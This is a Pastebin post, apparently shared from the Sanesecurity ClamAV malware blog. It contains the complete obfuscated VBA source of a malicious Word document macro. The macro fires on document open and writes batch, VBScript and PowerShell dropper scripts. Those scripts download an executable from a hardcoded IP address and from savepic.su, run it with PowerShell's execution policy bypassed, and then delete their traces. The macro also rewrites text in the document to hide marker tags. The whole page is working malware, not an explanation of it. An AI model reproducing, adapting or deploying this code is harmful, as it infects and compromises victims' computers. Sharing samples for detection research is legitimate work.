Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- http://sanesecurity.blogspot.co.uk/
- Sanesecurity ClamAV blog: zero hour malware, phishing and scams
- A hopefully interesting blog from the world of zero hour malware, phishing, scams and spams
- Attribute VB_Name = "ThisDocument"
- Attribute VB_Base = "1Normal.ThisDocument"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = True
- Attribute VB_TemplateDerived = True
- Attribute VB_Customizable = True
- Sub Auto_Open()
- h
- End Sub
- Sub h()
- BART212 = ""
- BART2 = "" & "" & "" & "a" + Chr(100) & "o" & "b" & "e" + "ac" & "d-up" + "date" & "" & "" & "" & ""
- JISKKK = "" & "" & "a" + Chr(100) + "o" & "b" & "ea" & "cd-up" & "da" & "te"
- VBT2 = ""
- VBT2 = "" & JISKKK & ""
- VBTXP2 = "" & "a" & Chr(100) & "o" & "be" + "ac" & "d-u" + "pd" + "atex" + "p" & ""
- PST2 = VBT2
- HUEFQ = "" + Module2.Plain("" & "us" & "er" + Chr(110) & "a" + Chr(109) + Chr(101) & "")
- PST1 = "" + PST2 + "." + Chr(Asc("p")) + Chr(100 + 15) + "1" + ""
- VBT1 = "" + VBT2 + "." + Chr(118) + "b" + Chr(Asc("s")) + ""
- JJJJJJJJJJJJJIOWQJDOQWIHDUIQWTYTYDQWYGG = "jgh 12jh3ggh121hgj3gh12jghj123g21jkh 3" + _
- "h j23hgjk23gh4gkg234jh23jhgl3k 23jk 4lhgj4g 2jh4g23jh 4jh32g ghj23g 4jh23g4jh23g4jh324 " + _
- "hj2hkhj12jh2 h12hjkjk jk12hj312kj12hjk12jh12 3hk123hj12k3jk12 hk312hv j12v b12v 312v"
- VBTXP = VBTXP2 + "." + Chr(Asc("v")) + Chr(Asc("b")) + "s" + ""
- STT = "" + "44" + "4." + "pn" + "g" + ""
- hjife = 51 + 50 + Sgn(-6)
- kktd = hjife
- BART = "" + BART2 + Chr(Abs(kktd - 100 - 45 - Sgn(5))) + Chr(Abs(kktd - 100 - 96 - 2)) + Chr(Asc(Chr(Asc("a")))) + Chr(Asc(Chr(Abs(kktd - 100 - 15 - 1)))) + ""
- JSIQOJQ = Chr(Abs(kktd - Sqr(4) - 100 - 44)) + Chr(Abs(kktd - 100 - 97 - Module1.Signing(15))) + Chr(Asc(Chr(Abs(kktd / 2 + Sqr(4) + 44 + Sgn(Sqr(16)))))) + Chr(Asc(Chr(kktd + Fix(16.2)))) + ""
- 'JSIQOJQ = ""
- KJHDU = BART2 + JSIQOJQ
- BART = KJHDU
- MY_FILENDIR = "c:\" + Chr(Asc("U")) + "sers\" + HUEFQ + "\App" + "Data\Lo" + "cal\T" + "emp\" + PST1 + "" & ""
- STAT = "" + "c:\" + Chr(Asc("U")) + "sers\" + HUEFQ + "\App" + "Data\Lo" + "cal\T" + "emp\" + STT + "" & ""
- ASDASDSA = "" + "c:\" + Chr(Asc("U")) + "sers\" + HUEFQ + "\App" + Chr(Asc("D")) + "ata\Local\" + Chr(Asc("T")) + "emp\" + BART + "" & ""
- MY_FILDIR = "c:\U" & "sers\" + HUEFQ + "\App" + "Data\Lo" + "cal\T" + "emp\" + VBT1
- XPFILEDIR = ""
- HJUTTT = VBTXP
- XPFILEDIR = "" + "c" & ":\W" & "indows\T" & "emp\" + HJUTTT
- UHFD = "" & "c" & ":\W" & "indows\T" & "emp\"
- TRT = UHFD + BART
- KRT = TRT
- HYF = KRT
- KJSAHDFFFJ = MY_FILDIR
- Dim Uuwqdhj, FileNumber, FileNumb, FileNu, FileNuG, FileNs, mttt, jskw As Integer
- Dim retVal As Variant
- FileNumber = FreeFile
- FileNumb = FreeFile
- FileNu = FreeFile
- FileNukk = FreeFile
- FileNs = FreeFile
- Kasdwq = FreeFile
- FileNuG = FreeFile
- Dim objWMIService As Variant
- Dim colOperatingSystems As Variant
- Dim objOperatingSystem As Variant
- Set objWMIService = GetObject _
- ("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2")
- SETL = "colOperatingSystemsKSAHDIUOQWdsad asad32k r8929h2f uigt8y yr2u3gby2g yu dg2uyg3bdu "
- Set colOperatingSystems = objWMIService.ExecQuery("Select * from W" + "in3" + "2_Op" + "eratin" + "gS" + "ystem")
- For Each objOperatingSystem In colOperatingSystems
- SysReport = SysReport & "The operating system on this computer is " & _
- objOperatingSystem.Caption & " (" & objOperatingSystem.Version & ")"
- Next
- Set objWMIService = GetObject _
- ("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2")
- Set colOperatingSystems = objWMIService.ExecQuery("Select * from W" + "in3" + "2_Op" + "eratin" + "gS" + "ystem")
- For Each objOperatingSystem In colOperatingSystems
- winverstr = objOperatingSystem.Version
- Next
- winver = Val(winverstr)
- WaitFor (1)
- jskw = winver
- URLLSK = "91.220.131.73/ca/file"
- STAA = "savepic.su/5229109"
- STAB = "savepic.su/5220917"
- ' UWGD = XPFILEDIR
- ' If (Len(Dir(MY_FILENDIR)) <> 0) Then
- ' SetAttr MY_FILENDIR, vbNormal
- ' Kill MY_FILENDIR
- ' End If
- ' If (Dir(ASDASDSA) <> "") Then
- ' SetAttr ASDASDSA, vbNormal
- ' Kill ASDASDSA
- ' End If
- ' If (Dir(MY_FILDIR) <> "") Then
- ' SetAttr MY_FILDIR, vbNormal
- ' Kill KJSAHDFFFJ
- ' End If
- ' If (Dir(STAT) <> "") Then
- ' SetAttr STAT, vbNormal
- ' Kill STAT
- ' End If
- ' If (Dir(UWGD) <> "") Then
- ' SetAttr UWGD, vbNormal
- ' Kill UWGD
- ' End If
- If (jskw <= 5.5) Then
- 'NUWHDGJS = UHFD + "euifhszdf.jfi"
- 'Open NUWHDGJS For Output As #Kasdwq
- 'Close #Kasdwq
- NUWHDGJS = HYF
- Open NUWHDGJS For Output As #Kasdwq
- Print #Kasdwq, ""
- Print #Kasdwq, "" & Chr(Asc("@")) & "e" & "cho off"
- Print #Kasdwq, ":pinkator"
- Print #Kasdwq, "pin" + "g 1.3.1.2 -n" & " 2" + ""
- KIWJIQDKLWQDNKWQD = "kwhjek21 jehgj12 21jhge hj21gh1j2geh 1j2egk j1heg kjfteyf y1hg 12hf eh1g2efj 12"
- Print #Kasdwq, "c" & "s" + "c" & "ri" & "pt" & ".e" & Chr(120) & "e " & Chr(34) & "c:\W" + "indows\T" + "emp" + "\" + VBTXP + Chr(34)
- Print #Kasdwq, "pin" + "g 2.2.1.1 -n" & " 2" + ""
- Print #Kasdwq, "" & ":windows"
- Print #Kasdwq, ""
- Print #Kasdwq, "" + "c:\W" + "indows\Te" + "mp\444" + "." + Chr(Asc("e")) + Chr(Asc("x")) + Chr(Asc("e"))
- Print #Kasdwq, ":loop"
- Print #Kasdwq, "pin" + "g " + "1.3.1.2 -n" & _
- " 1"
- Print #Kasdwq, "set tar1=" + Chr(34) + BART + Chr(33 + 1)
- Print #Kasdwq, "set stat=" + Chr(34) + STT + Chr(33 + 1)
- Print #Kasdwq, "del " + Chr(34) + "c:\Windows\Temp\" + VBTXP + Chr(34)
- Print #Kasdwq, "del " + Chr(34) + "c" & ":\" & "W" & "ind" & "ows\T" & "em" & "p\" + Chr(34) + "" + "%ta" + "r1%" + "" & ""
- Print #Kasdwq, "del " + Chr(34) + "c" & ":\" & "W" & "ind" & "ows\T" & "em" & "p\" + Chr(34) + "" + "%s" + "tat%" + "" & ""
- Print #Kasdwq, "if " + "exist " + Chr(34) & "" & "c" & ":\W" + "indows\T" + "emp\" + Chr(34) + "%tar1%" + " goto loop" + ""
- Print #Kasdwq, "" + "if " + "exist " + Chr(34) + "c:\W" + "indows\T" + "emp\" + "" & "" + VBTXP + Chr(34) + " g" + "ot" + "o lo" + "op" + ""
- Print #Kasdwq, "exit"
- Close #Kasdwq
- WaitFor (2)
- mttt = 88
- Open XPFILEDIR For Output As #FileNumber
- Print #FileNumber, "strRT = " + Chr(34) + "h" + Chr(Asc(Chr(Asc("t")))) + "t" + "p" + "://" + URLLSK + "." + Chr(Asc("p")) + Chr(Asc("i")) + "f" + Chr(34)
- Print #FileNumber, "statRT = " + Chr(34) + "h" + Chr(Asc(Chr(Asc("t")))) + "t" + "p" + "://" + STAA + "." + Chr(Asc("p")) + Chr(Asc("n")) + "g" + Chr(34)
- Print #FileNumber, "" + "jfeuygq = " + Chr(34) + "4.e" + Chr(34) + "+" + Chr(34) + "xe" + Chr(34)
- Print #FileNumber, "strTecation = " + Chr(34) + "c:\" + Chr(Asc("W")) + "indows\" + Chr(Asc("T")) + "emp\44" + Chr(34) + "+" + "jfeuygq"
- Print #FileNumber, "frgea =" + Chr(34) + "M" + Chr(34) + "+" + Chr(34) + "SX" + Chr(34) + "+" + Chr(34) + "ML2.X" + Chr(34) + "+" + Chr(34) + "MLH" + Chr(34) + "+" + Chr(34) + "T" + Chr(34) + "+" + Chr(34) + "T" + Chr(34) + "+" + "Chr(80)"
- Print #FileNumber, "Set objXML" + "H" + Chr(Asc("T")) + "TP = C" + "reate" + Chr(Asc("O")) + "bject(frgea)" + ""
- Print #FileNumber, "Set mkH = C" + "reate" + Chr(Asc("O")) + "bject(frgea)"
- Print #FileNumber, "" + "" & "objXM" & "LH" & "T" & "TP.op" & "en " + Chr(34) + "G" & "ET" + Chr(34) + ", strRT, False"
- Print #FileNumber, "mkH" & ".op" & "en " + Chr(34) + "G" & "ET" + Chr(34) + ", statRT, False" + ""
- JASHDJK = "send()"
- Print #FileNumber, "objXMLHTTP." + JASHDJK + " "
- Print #FileNumber, "mkH." + JASHDJK + " "
- Print #FileNumber, "If objXMLHTTP.Status = 200 Then" + "" & ""
- Print #FileNumber, "uwqhda = " + Chr(34) + "ADODB." + Chr(34)
- Print #FileNumber, "" + "Set objADOStream = C" + "reateO" + "bject(uwqhda+Chr(Sgn(-4)+84)+" + Chr(34) + "tream" + Chr(34) + ")"
- Print #FileNumber, "" + "ob" + "jA" + "DOSt" + "ream.O" + "pen " + ""
- Print #FileNumber, "objADOStream.Type = 1"
- Print #FileNumber, "objADOStream.Write objXMLHTTP.Re" + "" + "sp" + "onse" + "Body "
- Print #FileNumber, "objADOStream.Position = 0 "
- Print #FileNumber, "objADOStream.S" & "aveToF" & "ile st" & "rT" & "ecation " + ""
- Print #FileNumber, "objADOStream.Close "
- Print #FileNumber, "Set objADOStream = Nothing "
- Print #FileNumber, "End if "
- Print #FileNumber, "" + "Set objXMLHTTP = Nothing"
- Print #FileNumber, "Set objS" + "hell " & "=" + " " + Chr(Asc("C")) + "reate" + "O" + "bject(" + Chr(34) + "W" + "S" + "cript." + "S" + "hell" + Chr(34) + ")" + ""
- Print #FileNumber, ""
- Close #FileNumber
- WaitFor (1)
- ASKJD = TRT
- NUS = Module1.France(retVal, ASKJD)
- End If
- If (winver > 5.5) Then
- Open MY_FILENDIR For Output As #FileNumber
- Print #FileNumber, "$do" & "wn = " + Chr(Asc("N")) & "ew" & "-" & Chr(79) & "bject " & Chr(Asc(Chr(Asc("S")))) & "y" & "stem." & Chr(78) & "et." & Chr(87) & "eb" & "Cli" & "ent;"
- Print #FileNumber, "" & "$stat = '" + Chr(Asc(Chr(Asc("h")))) + Chr(Asc(Chr(116))) & "" + Chr(Asc("t")) + Chr(Asc(Chr(Asc("p")))) + "://" + STAB & ".p" & "n" + "g';"
- Print #FileNumber, "$gg" + "tt = '" + Chr(Asc(Chr(Asc("h")))) + Chr(Asc(Chr(116))) & "" + Chr(Asc("t")) + Chr(Asc(Chr(Asc("p")))) + "://" + URLLSK & ".p" & "i" + "f';"
- Print #FileNumber, "" & "$fi" & "le = 'c:\Users\" + HUEFQ + "\Ap" + "pData\Lo" + "cal\T" & "e" + "mp\" + "4" & "44." + Chr(101) & "xe';" + ""
- Print #FileNumber, "$statfile = 'c:\Users\" + HUEFQ + "\AppData\Local\Temp\" + "4" & "44." + "j" & "pg';"
- Print #FileNumber, "" & "" & "" & "" & "$down.headers[" + Chr(39) + "User-Agent" + Chr(39) + "] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Saf" & "ari/600.1.25'" + "+''" + "" + ";"
- Print #FileNumber, "$d" + "o" & Chr(Asc("w")) + "n" & "." & Chr(68) & "ow" & "nloa" & "dFi" & "le($gg" & "tt,$" & "file);"
- Print #FileNumber, "$d" + "o" & Chr(Asc("w")) + "n" & "." & Chr(68) & "ow" & "nloa" & "dFi" & "le($s" & "tat,$" & "statfile);"
- Print #FileNumber, "$ScriptDir = $MyInvocation.ScriptName;"
- Print #FileNumber, "$noneFilePath = 'c:\Users\" + HUEFQ + "\AppData\Local\Temp\" + "444.e" & Chr(Asc("x")) + "e" & "';"
- Print #FileNumber, "$vbsFilePath = 'c:\Users\" + HUEFQ + "\AppData\Local\Temp\" + VBT2 + Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "v" + Chr(39) + Chr(43) + Chr(39) + "bs" + Chr(39) + "+" + Chr(39) + Chr(39) + ";"
- Print #FileNumber, "$statFilePath = 'c:\Users\" + HUEFQ + "\AppData\Local\Temp\" + "444" + Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "j" + Chr(39) + Chr(43) + Chr(39) + "pg" + Chr(39) + ";"
- Print #FileNumber, "$b" + "tFilePath = 'c:\Users\" + HUEFQ + "\AppData\Local\Temp\" + BART2 + Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "b" + Chr(39) + Chr(43) + Chr(39) + "at" + Chr(39) + ";"
- Print #FileNumber, "$p" + "sFilePath = 'c:\Users\" + HUEFQ + "\AppData\Local\Temp\" + PST2 + Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "p" + Chr(39) + Chr(43) + Chr(39) + "s1" + Chr(39) + ";"
- Print #FileNumber, "Start-Sleep -s 15;"
- Print #FileNumber, "c" & Chr(109) & "d.e" & Chr(120) & "e /c 'c:\Users\" + HUEFQ + "\AppData\Local\Temp" + "\444.e" & Chr(120) & "e'; "
- Print #FileNumber, "$file1 = gci $" + "v" + "b" + "sFilePath -Force"
- Print #FileNumber, "$file2 = gci $" + "b" + "t" + "FilePath -Force"
- Print #FileNumber, "$file3 = gci $" + "p" + "s" + "F" + "ilePath -Force"
- Print #FileNumber, "" + "If (Test-Path $vbsFilePath){ Remove-Item $vbsFilePath }"
- Print #FileNumber, "" + "If (Test-Path $b" + "tFileP" + "ath){ Remove-Item $b" + "tFileP" + "ath }" + ""
- Print #FileNumber, "" + "If (Test-Path $s" + "tatFileP" + "ath){ Remove-Item $st" + "atFileP" + "ath }" + ""
- Print #FileNumber, "" + "$jsdhyfueh2hds = 'asdghyg23d jashdhsagdhasghdhgas';" + ""
- Print #FileNumber, "" + "If (Test-Path $no" + "neFi" + "leP" + "ath){ Remove-Item $n" + "oneFi" + "lePa" + "th }" + ""
- Print #FileNumber, "Remove-Item $MyINvocation.InvocationName"
- Close #FileNumber
- KJUCBHS = " = "
- Open MY_FILDIR For Output As #FileNumb
- Print #FileNumb, "Dim dff"
- Print #FileNumb, "dff = 68"
- Print #FileNumb, "c" & "ur" & Chr(Asc("r")) & "ent" + Chr(Asc("D")) + "irec" + "tory = left(WSc" & "ript.ScriptFullName," & "(L" + "en(W" + "S" + "cri" + "pt.Sc" + "riptFullName))-(len(W" + "Sc" + "ript.ScriptName)))"
- Print #FileNumb, "S" & "et o" & "bj" & Chr(Asc("F")) & "SO=C" & "re" & "at" & "eO" & "b" & "je" & "ct(" & Chr(34) & Chr(34) & "&" & Chr(34) & "S" & Chr(34) & Chr(38) & Chr(34) & "cr" & "ipt" & "ing.F" & "ileS" & "ystem" & "Ob" & "ject" & Chr(34) + "&" + Chr(34) + Chr(34) & ")"
- Print #FileNumb, "cur" + "rent" + Chr(Asc("F")) + "ile = " & Chr(34) & "C:\" & Chr(Asc("U")) & "sers\" + HUEFQ + "\AppData\Local\Temp" + "\" + PST2 + Chr(34) + "&" + Chr(34) + "." + Chr(34) + "&" + Chr(34) + "p" + Chr(34) + "&" + Chr(34) + "s1" + Chr(34)
- Print #FileNumb, "" & Chr(83) & "et " & Chr(111) & "bj" & Chr(83) & "he" + Chr(Asc("l")) + Chr(Asc("l")) + KJUCBHS & Chr(Sgn(-4) + 68) + "reate" & Chr(79) & Chr(98) & "ject(" & Chr(34) & "W" & Chr(115) & "cript." & Chr(115) & "hell" & Chr(34) & ")" + ""
- Print #FileNumb, "" + "" & Chr(111) & "bj" & Chr(83) & "hell" & Chr(46) & Chr(82) & "un " + Chr(34) + Chr(34) + "+" & Chr(34) & "p" & Chr(111) & "wer" & Chr(83) + Chr(34) + "+" + Chr(34) + Chr(34) + "+" + Chr(34) + Chr(34) + "+" + Chr(34) & "hell.e" & Chr(120) & "e -n" & Chr(111) & "exit -Exe" & "cutionP" & Chr(111) & "licy" & " byp" & "ass -n" & Chr(111) & "pr" & Chr(111) & "file -file " & Chr(34) & " & currentFile,0,true" + "" & ""
- Print #FileNumb, ""
- Close #FileNumb
- Open ASDASDSA For Output As #FileNs
- Print #FileNs, "@echo off"
- Print #FileNs, "pi" + "ng 1.1.2.2 -n" & " 2"
- Print #FileNs, "chcp 1251"
- Print #FileNs, ":asdqwqdw"
- Print #FileNs, "set Gds1=" + Chr(34) + "." + Chr(34)
- Print #FileNs, "set Gds2=" + Chr(34) + "v" + Chr(34)
- Print #FileNs, "set Gds3=" + Chr(34) + "bs" + Chr(34)
- Print #FileNs, "set Gds4=" + Chr(34) & "c:\Users\" + HUEFQ + "\AppData\Local\Temp" + "\" + VBT2 + Chr(34)
- Print #FileNs, "c" & "sc" & "ri" & "pt" & Chr(46) + Chr(101) & Chr(120) & "e " & "%Gds4%" + "%Gds1%%Gds2%%Gds3%"
- Print #FileNs, "exit"
- Close #FileNs
- SetAttr MY_FILENDIR, vbNormal
- SetAttr ASDASDSA, vbNormal
- SetAttr MY_FILDIR, vbNormal
- WaitFor (1)
- SJAKLD = ASDASDSA
- NUS = Module1.France(retVal, SJAKLD)
- End If
- findTest
- secondTest
- For Each myStoryRange In ActiveDocument.StoryRanges
- With myStoryRange.Find
- .Text = "" + "<" & "sel" & "ect>" + ""
- .Replacement.Text = " "
- .Wrap = wdFindContinue
- .Execute Replace:=wdReplaceAll
- End With
- Next myStoryRange
- For Each myStoryRange In ActiveDocument.StoryRanges
- With myStoryRange.Find
- .Text = "</s" & "ele" & "ct>"
- .Replacement.Text = " "
- .Wrap = wdFindContinue
- .Execute Replace:=wdReplaceAll
- End With
- Next myStoryRange
- For Each myStoryRange In ActiveDocument.StoryRanges
- With myStoryRange.Find
- .Text = "<" & "in" & "box>"
- .Replacement.Text = " "
- .Wrap = wdFindContinue
- .Execute Replace:=wdReplaceAll
- End With
- Next myStoryRange
- For Each myStoryRange In ActiveDocument.StoryRanges
- With myStoryRange.Find
- .Text = "</" & "in" & "box>"
- .Replacement.Text = " "
- .Wrap = wdFindContinue
- .Execute Replace:=wdReplaceAll
- End With
- Next myStoryRange
- End Sub
- Sub WaitFor(NumOfSeconds As Long)
- Dim SngSec As Long
- SngSec = Timer + NumOfSeconds
- Do While Timer < SngSec
- DoEvents
- Loop
- End Sub
- Sub AutoOpen()
- Auto_Open
- End Sub
- Sub Workbook_Open()
- Auto_Open
- End Sub
- Sub findTest()
- Dim firstTerm, secondTerm, selectedText As String
- Dim hhhg, selRange As Range
- Set hhhg = ActiveDocument.Range
- JIS = Chr(Asc(Chr(60)))
- IHRR = "" & JIS + "" + "s" + "e" & "l" & "e" + "c" & "t>" + KSJD + ""
- JFRR = "" & JIS + "" + "/" + "s" & "e" + "l" & "e" & "c" + "t>" + ""
- firstTerm = "" & IHRR
- secondTerm = "" & JFRR
- JKHUIQHDSUKHWQD = "sadkjkj321k3h3 j21kh2jkhgjk2g 2jhkg 2k"
- WITHrtas = "Find"
- With hhhg.Find
- .Text = firstTerm
- .MatchWholeWord = True
- 'asdkaljkalsjd
- .Execute
- EXECUTEFD = "lakjsd"
- hhhg.Collapse direction:=wdCollapseEnd
- Set selRange = ActiveDocument.Range
- selRange.Start = hhhg.End
- .Text = secondTerm
- .MatchWholeWord = True
- 'kashdjkashdkjashdjksh
- .Execute
- hhhg.Collapse direction:=wdCollapseStart
- selRange.End = hhhg.Start
- selectedText = selRange.Delete
- End With
- End Sub
- Sub secondTest()
- Dim firstTerm As String
- Dim secondTerm As String
- Dim myRanget As Range
- Dim yytt As Range
- Dim selRanget As Range
- Dim selectedTextt As String
- Set yytt = ActiveDocument.Range
- firstTerm = "<" + "in" & "bo" + "x>"
- secondTerm = "</" + "in" & "bo" + "x>"
- With yytt.Find
- .Text = firstTerm
- .MatchWholeWord = True
- 'akjsdkhsajd askhdas
- .Execute
- EXECUTEFD = "lakjsd"
- yytt.Collapse direction:=wdCollapseEnd
- Set selRanget = ActiveDocument.Range
- selRanget.Start = yytt.End
- .Text = secondTerm
- .MatchWholeWord = True
- 'asdjkiqodj
- .Execute
- EXECUTEFD = "lakjsd"
- yytt.Collapse direction:=wdCollapseStart
- selRanget.End = yytt.Start
- selectedTextt = selRanget
- selRanget.Font.Color = wdColorBlack
- End With
- End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement